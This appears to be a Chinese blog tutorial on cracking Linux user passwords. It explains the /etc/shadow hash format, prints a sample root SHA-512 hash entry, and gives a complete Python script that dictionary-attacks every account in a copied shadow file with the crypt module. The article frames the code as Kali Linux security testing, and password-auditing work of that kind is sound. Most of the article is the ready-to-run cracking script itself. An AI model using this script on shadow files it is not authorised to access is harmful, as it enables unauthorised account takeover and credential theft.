Python利用crypt模块破解Linux用户密码

Ryan
Ryan
发布时间:2026-10-14| 5人浏览过
原创

本文介绍如何使用Python的crypt模块模拟Linux密码加密机制,通过读取/etc/shadow文件提取盐值和哈希值,结合密码字典进行暴力破解。文章详细解析了SHA-512等哈希算法格式,并提供了完整的Python脚本代码及运行示例,适用于Kali Linux环境下的安全测试。

实验环境与原理概述

实验环境为Kali Linux,使用的Python版本为2.7.13。

我们借助Linux系统内置的crypt模块来模拟用户密码的加密过程,该模块在Windows系统中不可用。

在Linux操作系统中,用户的加密密码信息被存储在/etc/shadow文件中。

以下是/etc/shadow文件中root用户对应的记录字段。

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

上述记录中的第二个字段代表密码部分,我们将其单独提取出来。

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密码字段的格式遵循$id$salt$encrypted的结构。

  • id表示所使用的哈希算法,其中1代表MD5,5代表SHA-256,6代表SHA-512。
  • salt表示盐值。
  • encrypted表示哈希值,它是将原始密码与盐值结合后进行加密所得的结果。

Python脚本实现与运行

在理解shadow文件中密码的加密原理后,即可开始编写Python脚本。

在编写脚本前,需准备好密码字典文件key.txt。只有当密码字典足够庞大时,才有可能成功破解出密码。

随后,将/etc/shadow文件复制到Python脚本所在的目录,并将其重命名为shadow.txt。

在代码实现中,我们定义了两个函数:main()和testPass()。main()函数负责打开shadow.txt文件,读取其中的用户名和密码字段cryptPass。testPass()函数从密码字段中提取$id$salt部分并赋值给salt变量。接着,读取key.txt中的每个密码单词赋值给word,利用Linux下的crypt库将word和salt作为参数传入进行加密,得到cryptWord。最后,将cryptWord与cryptPass进行比对,若两者相等,则说明word即为该用户的真实密码,否则继续尝试。


# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小谢
"""
import crypt   ##导入Linux口令加密库
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##将密码字典中的值和盐值一起加密
        if (cryptWord==cryptPass):                           ##判断加密后的数据和密码字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等则打印出来
            return 
    print "[-] Password Not Found.\n"
    return 
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##读取文件中的所有内容
        if ":" in line:
            user=line.split(":")[0]                     ##获得用户名
            cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

脚本运行截图显示,成功破解出了用户tom和用户xie的密码。

以上就是Python脚本利用crypt模块破解Linux口令的详细内容,更多关于python破解linux口令的资料请关注本站其它相关文章!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。